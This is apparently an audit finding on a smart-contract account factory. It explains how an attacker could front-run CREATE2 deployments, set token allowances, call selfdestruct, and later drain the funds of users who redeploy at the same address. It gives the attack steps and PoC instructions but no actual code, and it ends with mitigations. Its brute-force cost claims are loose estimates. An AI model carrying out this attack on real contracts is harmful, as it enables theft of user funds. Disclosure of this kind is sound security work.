Summary

The factory function createAccount() creates a new account contract for the user using CREATE2. We show that an attacker can set allowances before calling selfdestruct, impacting subsequent legitimate users who redeploy the account at the same address. This allows an attacker to drain funds from accounts deployed at these addresses.

Vulnerability Details

The createDeterministicERC1967 function takes three parameters (msg.value, ACCOUNT_IMPLEMENTATION, and actualSalt) to deploy a new instance of a contract. All three parameters are deterministic and can be read on-chain. Although the actualSalt is derived from the hash of the calldataLength, it is still possible to compute this.

During network congestion, transactions can sit in the mempool before being included in a block. An attacker can access these pending transactions, decode the input field using certain libraries, and extract the necessary details.

The msg.value is also present in the transaction details. With this information, an attacker can front-run the legitimate transaction by deploying a contract to the same address, setting allowances for themselves before calling selfdestruct.

PoC: Setting Allowances

In createAccount, CREATE2 salt is user-supplied, and msg.value is also user-supplied:

The steps an attacker will need to perform are:

1. Determine ACCOUNT_IMPLEMENTATION from the contract storage.

2. Read calldata from the mempool.

3. Front-run and deploy a malicious contract to the target address with the ability to set allowances.

4. Call selfdestruct in the same transaction to remove the malicious contract bytecode but leave the allowances set.

An attacker can pre-compute the deterministic address using the following method:

PoC: Impact on Subsequent Users

Assuming an attacker has set allowances and called selfdestruct, the steps for impacting subsequent users are:

1. A legitimate user deploys an account to the same address.

2. The user initializes the account, unaware that allowances have already been set.

3. The attacker exploits these allowances to drain funds from the user's account.

Coded unit-PoC

While we cannot provide an actual hash collision due to infrastructural constraints, we provide a coded PoC to prove the following properties of the EVM enabling this attack:

1. A contract can be deployed on top of an address that already had a contract before.

2. By deploying a contract and calling selfdestruct in the same transaction, allowances can be set for an address that has no bytecode.

Steps to recreate:

1. Paste the following file onto Remix:

1. Deploy the contract Test.

2. Run the function Test.test() with a salt of your choice and record the returned address. The results will be:

   • Test.getAllowance() for that address will return exactly APPROVE_AMOUNT.

   • Test.getCodeSize() for that address will return exactly zero.

3. Using the same salt, run Test.test() again. The transaction will go through, and the result will be:

   • Test.test() returns the same address as the first run.

   • Test.getAllowance() for that address will return twice APPROVE_AMOUNT.

   • Test.getCodeSize() for that address will still return zero.

Impact

Complete draining of an account's funds if allowances are set and selfdestruct is called.

The advancement of computing hardware shows that the cost of an attack is just a few million dollars, and the current Bitcoin network hashrate allows brute-forcing in about half an hour. The cost of the attack may be offset by longer brute-force times.

For DeFi protocols, it is normal for account balances to reach significant values. Such an attack is massively profitable and poses a severe risk to the protocol's users.

Recommendations

To mitigate this vulnerability, avoid allowing user-supplied salt, ensuring salts are securely generated on-chain, or implement additional verification steps before deploying contracts to deterministic addresses.